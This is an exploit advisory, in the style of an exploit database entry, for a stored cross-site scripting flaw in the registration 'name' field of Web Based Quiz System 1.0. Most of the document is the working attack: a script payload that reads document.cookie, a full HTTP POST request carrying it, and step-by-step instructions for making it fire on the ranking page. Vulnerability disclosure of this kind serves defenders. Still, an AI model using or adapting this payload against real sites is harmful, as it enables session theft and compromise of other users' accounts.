# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting# Date: 2021-03-02# Exploit Author: P.Naveen Kumar# Vendor Homepage: https://www.sourcecodester.com# Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html# Software : Web Based Quiz System# Version : 1.0# Vulnerability Type : Cross-site Scripting# Vulnerability : Persistent/Stored XSS# Tested on: Windows 10 Pro# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe# in registration form in name parameter affected from this vulnerability.# payload: <script>alert(document.cookie)</script># HTTP POST request
POST http://localhost:8080/quiz/register.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636
Content-Length:690
Origin: http://localhost:8080
Connection: keep-alive
Referer: http://localhost:8080/quiz/register.php
Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er
Upgrade-Insecure-Requests:1-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="name"<script>alert(document.cookie)</script>-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="email"
test123@gmail.com
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="password"
Hacker
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="college"
hello
-----------------------------283640616528311462411171270636
Content-Disposition: form-data; name="submit"-----------------------------283640616528311462411171270636--
POC:# go to url http://localhost:8080/quiz/register.php# then you have to fill the above payload in name/username parameter# then fill the remaining details# then click submit# then login to user account# then attempt any one quiz after attempting go to ranking section then# you can see xss pop up there..!
